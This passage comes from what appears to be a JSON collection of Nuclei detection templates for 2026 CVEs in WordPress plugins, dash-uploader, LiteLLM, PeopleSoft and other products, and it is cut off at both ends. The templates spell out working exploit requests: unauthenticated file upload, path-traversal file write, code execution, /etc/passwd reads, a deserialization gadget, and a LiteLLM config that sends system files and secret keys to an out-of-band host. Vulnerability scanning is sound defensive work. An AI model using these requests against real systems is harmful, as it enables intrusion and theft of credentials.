Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}\n\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"action\"\n\n        lkn_pix_for_woocommerce_c6_save_settings\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"_ajax_nonce\"\n\n        {{nonce}}\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"certificate_crt_path\"; filename=\"{{fname}}.crt\"\n        Content-Type: application/x-x509-ca-cert\n\n        {{marker}}\n        ------WebKitFormBoundary{{boundary_id}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'Settings saved successfully')\"\n        condition: and\n        internal: true\n\n  - id: step-3\n    method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{{fname}}.crt\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100b294c1892e971f875dd1236bb8538eafb2961ccb47a8f70df53aadce25de67af022100d3549a322db6acfb097978058c6baf464aab1871cef7fdf423a4473d92bbbb81:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-3891.yaml","vuln_id":"cve-2026-3891"},{"raw":"id: CVE-2026-3844\n\ninfo:\n  name: Breeze <= 2.4.4 - Arbitrary File Upload\n  author: theamanrawat,ritikchaddha\n  severity: critical\n  description: |\n    Breeze Cache WordPress plugin <= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version where this vulnerability is fixed.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3844\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3844\n    epss-score: 0.27701\n    epss-percentile: 0.98093\n    cwe-id: CWE-434\n  metadata:\n    max-request: 4\n    verified: true\n    shodan-query: http.html:\"/wp-content/plugins/breeze/\"\n    fofa-query: body=\"/wp-content/plugins/breeze/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,breeze,file-upload,rce,vkev\n\nvariables:\n  marker: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-comments-post.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        comment_post_ID=1&author=x+srcset%3Dhttp%3A%2F%2Foast.me%2F{{marker}}.php&email=breeze{{marker}}%40test.com&comment=breeze+vuln+test+{{marker}}&submit=Post+Comment\n\n    extractors:\n      - type: regex\n        name: redirect_path\n        part: header_1\n        group: 1\n        regex:\n          - 'Location: https?://[^/]+(/.+)'\n        internal: true\n\n  - raw:\n      - |\n        GET {{redirect_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"srcset=https://oast.me\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/cache/breeze-extra/gravatars/{{marker}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"<html><head></head><body></body></html>\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402203eb8e57452c2d60a836ac33da7823c86464d966312e6c4657b855d9025e8222802207d5d36dba0ae996657c02bda909728ae3f38b2c8e913e532b1072b0c79722907:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-3844.yaml","vuln_id":"cve-2026-3844"},{"raw":"id: CVE-2026-38361\n\ninfo:\n  name: dash-uploader 0.1.0 - 0.7.0a2 - Denial-of-Service via flowTotalChunks\n  author: a1ohadance\n  severity: high\n  description: |\n   fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a remote code execution caused by improper handling in Upload function and max_file_size parameter in dash_uploader components, letting remote attackers execute arbitrary code, exploit requires crafted request.\n  impact: |\n   Remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n   Update to the latest version beyond v0.7.0a2.\n  reference:\n    - https://github.com/a1ohadance/CVE-2026-38361\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-38361\n    - https://github.com/advisories/GHSA-xp7f-v245-w3w8\n    - https://github.com/fohrloop/dash-uploader/issues/153\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n    cvss-score: 7.5\n    cve-id: CVE-2026-38361\n    epss-score: 0.02643\n    epss-percentile: 0.85636\n    cwe-id: CWE-400\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: fohrloop\n    product: dash-uploader\n    shodan-query: html:\"_dash-undo-redo\"\n    fofa-query: body=\"_dash-undo-redo\"\n  tags: cve,cve2026,dash-uploader,unauth,python,passive\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"dash_uploader\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - 'dash_uploader\\.v([0-9._a-z-]+?)m[0-9]+\\.min\\.js'\n# digest: 4a0a00473045022064deb54f79743b53a99e5224f9f8cdd7a9c725833380d04a7970f8665747c4c40221008f56f8bea7414aae14e74559631b64d6dc487c19b8dc97cf9bcb6471eb1b1677:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-38361.yaml","vuln_id":"cve-2026-38361"},{"raw":"id: CVE-2026-38360\n\ninfo:\n  name: dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal\n  author: a1ohadance\n  severity: critical\n  description: |\n   fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.\n  impact: |\n   Remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n   Update to the latest version beyond v0.7.0a2.\n  reference:\n    - https://github.com/a1ohadance/CVE-2026-38360\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-38360\n    - https://github.com/advisories/GHSA-3rf6-x59v-5jfv\n    - https://github.com/fohrloop/dash-uploader/issues/153\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-38360\n    epss-score: 0.05982\n    epss-percentile: 0.9333\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: fohrloop\n    product: dash-uploader\n    shodan-query: html:\"_dash-undo-redo\"\n    fofa-query: body=\"_dash-undo-redo\"\n  tags: cve,cve2026,dash-uploader,path-traversal,file-write,unauth,python\n\nvariables:\n  marker: \"{{rand_base(16)}}\"\n  filename: \"nuclei_{{rand_base(8)}}.txt\"\n  boundary: \"----nuclei{{rand_base(16)}}\"\n\nflow: (http(1) && http(2)) || (http(3) && http(4))\n\nhttp:\n  - raw:\n      - |\n        POST /API/dash-uploader HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary={{boundary}}\n\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowChunkNumber\"\n\n        1\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowChunkSize\"\n\n        1048576\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowCurrentChunkSize\"\n\n        16\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowTotalSize\"\n\n        16\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowIdentifier\"\n\n        nuclei-{{rand_base(8)}}\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowFilename\"\n\n        {{filename}}\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowRelativePath\"\n\n        {{filename}}\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"flowTotalChunks\"\n\n        1\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"upload_id\"\n\n        ../assets\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}\"\n        Content-Type: application/octet-stream\n\n        {{marker}}\n        --{{boundary}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, filename)'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        GET /assets/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, marker)'\n        condition: and\n\n  - raw:\n      - |\n        POST /API/resumable HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary={{boundary}}\n\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableChunkNumber\"\n\n        1\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableChunkSize\"\n\n        1048576\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableCurrentChunkSize\"\n\n        16\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableTotalSize\"\n\n        16\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableIdentifier\"\n\n        nuclei-{{rand_base(8)}}\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableFilename\"\n\n        {{filename}}\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableRelativePath\"\n\n        {{filename}}\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"resumableTotalChunks\"\n\n        1\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"upload_id\"\n\n        ../assets\n        --{{boundary}}\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}\"\n        Content-Type: application/octet-stream\n\n        {{marker}}\n        --{{boundary}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, filename)'\n        internal: true\n        condition: and\n\n  - raw:\n      - |\n        GET /assets/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, marker)'\n        condition: and\n# digest: 4b0a00483046022100859a126ff979e67b6e3412851b46758dccdd7d126cd2c4977370af9fcfcde3a20221008c3fa6c518d5ee177d35079c7c4f0b9c781e2af99dac30017ef1ed79aacca5e0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-38360.yaml","vuln_id":"cve-2026-38360"},{"raw":"id: CVE-2026-3584\n\ninfo:\n  name: WordPress Kali Forms <= 2.4.9 - Remote Code Execution\n  author: pussycat0x\n  severity: critical\n  description: |\n    Kali Forms WordPress plugin <= 2.4.9 contains a remote code execution caused by unsafe user input handling in 'form_process' and 'prepare_post_data' functions, letting unauthenticated attackers execute code on the server, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code on the server, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 2.4.9.\n  reference:\n    - https://wordpress.org/plugins/kali-forms/\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3584\n    epss-score: 0.07239\n    epss-percentile: 0.94349\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 6\n    product: kali-forms\n    framework: wordpress\n    fofa-query: body=\"kali-forms\"\n    shodan-query: http.component:\"WordPress\" http.html:\"kali-forms\"\n  tags: cve,cve2026,wordpress,wp-plugin,kali-forms,rce,unauth,vkev\n\nflow: |\n  var paths = [\"/contact-us/\", \"/contact/\", \"/form/\", \"/feedback/\", \"/\"];\n  for (var i = 0; i < paths.length; i++) {\n    set(\"form_path\", paths[i]);\n    if (http(1)) {\n      http(2);\n      break;\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET {{form_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"KaliFormsObject\")'\n          - 'contains(body, \"ajax_nonce\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - 'ajax_nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - 'data-form-id=\"(\\d+)\"'\n        internal: true\n\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - 'kali-forms/[^\"]*(?:js|css)\\?ver=([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=kaliforms_form_process&data[nonce]={{nonce}}&data[formId]={{form_id}}&data[first-name]=test&data[last-name]=user&data[email]=test%40example.com&data[message]=test&data[thisPermalink]=phpinfo\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"phpinfo()</title>\"\n          - \"PHP Extension\"\n          - \"PHP Version\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: php_version\n        part: body\n        group: 1\n        regex:\n          - 'PHP Version ([0-9.]+)'\n# digest: 490a0046304402206ea879bff80cf8447ddf0785cc02ee8a95de063a41fecfe745337872be95843702201bf48c40ad2d5f03297e44f0c1cac8e68689f489f53208807d275f2db3ed81d2:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-3584.yaml","vuln_id":"cve-2026-3584"},{"raw":"id: CVE-2026-3576\n\ninfo:\n  name: Planyo Online Reservation System <= 3.0 - Arbitrary File Read\n  author: aryu-ru\n  severity: high\n  description: |\n    The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.\n  impact: |\n    An unauthenticated attacker can read any file readable by the web server, including wp-config.php, which discloses database credentials and WordPress authentication keys.\n  remediation: |\n    Update the Planyo Online Reservation System plugin to version 3.1 or later, which rejects any URL scheme other than http and https.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5038d12a-e119-4ab7-aadc-69b765ae7027?source=cve\n    - https://www.exploit-db.com/exploits/52636\n    - https://plugins.trac.wordpress.org/browser/planyo-online-reservation-system/trunk/ulap.php#L59\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3576\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2026-3576\n    epss-score: 0.08808\n    epss-percentile: 0.95199\n    cwe-id: CWE-20\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: xtreeme\n    product: planyo-online-reservation-system\n    framework: wordpress\n    fofa-query: body=\"/plugins/planyo-online-reservation-system/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,planyo-online-reservation-system,lfi,ssrf\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"Planyo online reservation system\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"text/plain\")'\n          - 'regex(\"root:[x*]?:0:0:\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100c69e394ba860b5ad7c0707ef075ffa0839384303aad0a985838fee4f07b902c902203294be05d4b5104fb0e331cf2214ed09bba5d7e38db2b7bd8e8620fd334f3afb:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-3576.yaml","vuln_id":"cve-2026-3576"},{"raw":"id: CVE-2026-35616\n\ninfo:\n  name: FortiClient EMS - Authentication Bypass\n  author: ritikchaddha\n  severity: high\n  description: |\n    Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.\n  impact: |\n    If spoofing X-SSL-CLIENT-VERIFY changes backend behavior, Apache is likely not stripping the header before Django, indicating the target is still vulnerable.\n  remediation: |\n    Apply Fortinet hotfix FG-IR-26-099 or upgrade to FortiClient EMS 7.4.7+.\n  reference:\n    - https://bishopfox.com/blog/api-authentication-bypass-in-forticlient-ems-7-4-5-7-4-6-cve-2026-35616\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-35616\n  classification:\n    cve-id: CVE-2026-35616\n    epss-score: 0.93983\n    epss-percentile: 0.99846\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: fortinet\n    product: forticlient_ems\n    shodan-query: http.favicon.hash:-800551065\n  tags: cve,cve2026,fortinet,forticlient,ems,auth-bypass,kev,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n\n        f\n\n      - |\n        POST /api/v1/fabric_device_auth/fortigate/init HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 0\n        X-SSL-CLIENT-VERIFY: SUCCESS\n\n        f\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(tolower(body_1), 'certificate not found')\"\n          - \"status_code_1 == 401 && status_code_2 == 500\"\n          - \"(body_1 != body_2)\"\n        condition: and\n# digest: 4a0a0047304502207ca703fc40ab4cf8ccfb9f5a5b5a1474a5a70c543ef08368c622d6a7830e3870022100cc9c0539527a6d3cdf4401a103a835c3843989547da618ae51e3ad7e67802095:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-35616.yaml","vuln_id":"cve-2026-35616"},{"raw":"id: CVE-2026-35273\n\ninfo:\n  name: Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP.\n  impact: |\n    Unauthenticated attackers can fully compromise PeopleSoft Enterprise PeopleTools, leading to complete system takeover.\n  remediation: |\n    Update to the latest available version beyond 8.62.\n  reference:\n    - https://www.oracle.com/security-alerts/alert-cve-2026-35273.html\n    - https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-targets-education-sector-oracle-exploit\n    - https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-35273\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-35273\n    epss-score: 0.96678\n    epss-percentile: 0.99883\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: oracle\n    product: peoplesoft_enterprise_peopletools\n    shodan-query: http.html:\"PeopleSoft\"\n    fofa-query: body=\"PeopleSoft Environment Management Hub\"\n  tags: cve,cve2026,oracle,peoplesoft,deserialization,rce,kev,oast,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /PSEMHUB/hub HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        OPERATION={{generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'rO0ABX')\"\n          - \"contains(interactsh_protocol, 'dns')\"\n        condition: and\n# digest: 4a0a00473045022100be3a74f067c65d0015b7475e712d3955a0e40b1d51bb779551c8fe9e77ba47050220224e16a4077ef01d73191b65c42b6d505bac73fd72ca8368b344ecf3d70f6902:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-35273.yaml","vuln_id":"cve-2026-35273"},{"raw":"id: CVE-2026-35037\n\ninfo:\n  name: Ech0 < 4.2.8 - Server-Side Request Forgery\n  author: fineman999\n  severity: high\n  description: |\n    Ech0 before 4.2.8 exposes an unauthenticated SSRF vulnerability in GET /api/website/title. The website_url query parameter is fetched server-side without validating the target host or IP address.\n  reference:\n    - https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-35037\n  classification:\n    cve-id: CVE-2026-35037\n    epss-score: 0.00618\n    epss-percentile: 0.49732\n    cwe-id: CWE-918\n    cvss-score: 7.2\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n  metadata:\n    verified: true\n    vendor: lin-snow\n    product: ech0\n    max-request: 1\n    shodan-query: title:\"Ech0\"\n    fofa-query: title:\"Ech0\"\n  tags: cve,cve2026,ech0,ssrf,oast,oss\n\nhttp:\n  - raw:\n      - |\n        GET /api/website/title?website_url=http://{{interactsh-url}}/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(body, \"data\\\":\")'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 4b0a00483046022100d9deff84fa86e83c389b7f9ad802911e8342fe65278c28032a0137543d7acfda022100934de52968f2f91697a42f887c94017301a9196a1bbfee7ed17a7e3e4b007b4e:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-35037.yaml","vuln_id":"cve-2026-35037"},{"raw":"id: CVE-2026-35029\n\ninfo:\n  name: LiteLLM - Arbitrary File Read\n  author: theamanrawat\n  severity: high\n  description: |\n    LiteLLM < 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.\n  impact: |\n    Authenticated users can execute arbitrary code, read server files, and take over privileged accounts, leading to full system compromise.\n  remediation: |\n    Update to version 1.83.0 or later.\n  reference:\n    - https://github.com/BerriAI/litellm\n    - https://sec-consult.com/vulnerability-lab/advisory/broken-access-control-in-config-endpoint-in-litellm/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-35029\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-35029\n    epss-score: 0.38613\n    epss-percentile: 0.98583\n    cwe-id: CWE-863\n  metadata:\n    max-request: 4\n    verified: true\n    vendor: berriai\n    product: litellm\n  tags: cve,cve2026,litellm,file-read,oob,oidc,oast,vuln,authenticated,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /config/update HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{userkey}}\n        Content-Type: application/json\n\n        {\"environment_variables\":{\"FILE_TO_READ\":\"/etc/passwd\",\"EXFIL_PREFIX\":\"EXFIL\"},\"general_settings\":{\"pass_through_endpoints\":[{\"path\":\"/exfil-{{randstr}}\",\"target\":\"https://{{interactsh-url}}\",\"headers\":{\"LANGFUSE_PUBLIC_KEY\":\"os.environ/EXFIL_PREFIX\",\"LANGFUSE_SECRET_KEY\":\"os.environ/oidc/env_path/FILE_TO_READ\",\"X-DB-URL\":\"os.environ/DATABASE_URL\",\"X-Master-Key\":\"os.environ/LITELLM_MASTER_KEY\"}}]}}\n\n      - |\n        GET /health/liveliness HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /exfil-{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        part: interactsh_request\n        name: content\n        group: 1\n        regex:\n          - \"Authorization:\\\\s*Basic\\\\s+([A-Za-z0-9+/=]+)\"\n        internal: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'regex(\"EXFIL:root:.*:0:0:\", base64_decode(content))'\n        condition: and\n# digest: 4b0a004830460221008f76541d7ecb83a6e9a3ca480497a7b966a0f54f791907cb5207ff8f6f23f16a022100d67ca58ac37621394513e3f70ffb6780048abfc941042a0f99b87877c9f9714b:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-35029.yaml","vuln_id":"cve-2026-35029"},{"raw":"id: CVE-2026-34976\n\ninfo:\n  name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization\n  author: str4k3r\n  severity: critical\n  description: |\n    Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.\n  remediation: |\n    Update to version 25.3.1 or later.\n  reference:\n    - https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34976\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-34976\n    epss-score: 0.02066\n    epss-percentile: 0.81442\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: hypermodeinc\n    product: dgraph\n    shodan-query: title:\"Dgraph\"\n    fofa-query: body=\"dgraph\"\n  tags: cve,cve2026,dgraph,auth-bypass,ssrf\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"dgraph\", \"Dgraph\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /admin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\": \"mutation { restore(input: { location: \\\"file:///nonexistent-cve-34976-probe/\\\" }) { code message } }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"unauthorized ip address\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /admin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///nonexistent-cve-34976-probe/\\\" }, fromNamespace: 0 }) { code message } }\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"restoreTenant\")'\n          - '!contains(body, \"unauthorized ip address\")'\n        condition: and\n# digest: 4a0a004730450221008f5d5262bf8551f3700ed96f7373958bac29854e90d9a50628b26b03cdf9091f0220402533da8547d25748fb77094a48d41b4d5206e554da442d730f216ece32f5c5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-34976.yaml","vuln_id":"cve-2026-34976"},{"raw":"id: CVE-2026-34910\n\ninfo:\n  name: UniFi OS Server - Command Injection\n  author: Kazgangap\n  severity: critical\n  description: |\n    A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.\n  impact: |\n    Network attackers can execute arbitrary commands, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of UniFi OS.\n  reference:\n    - https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-34910\n    - https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b\n    - https://www.it-connect.tech/critical-3-exploit-chain-grants-root-access-on-unifi-os-server/\n  classification:\n    cve-id: CVE-2026-34910\n    epss-score: 0.90032\n    epss-percentile: 0.99794\n    cvss-score: 10.0\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"UniFi OS\"\n  tags: cve,cve2026,unifi,rce,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        GET 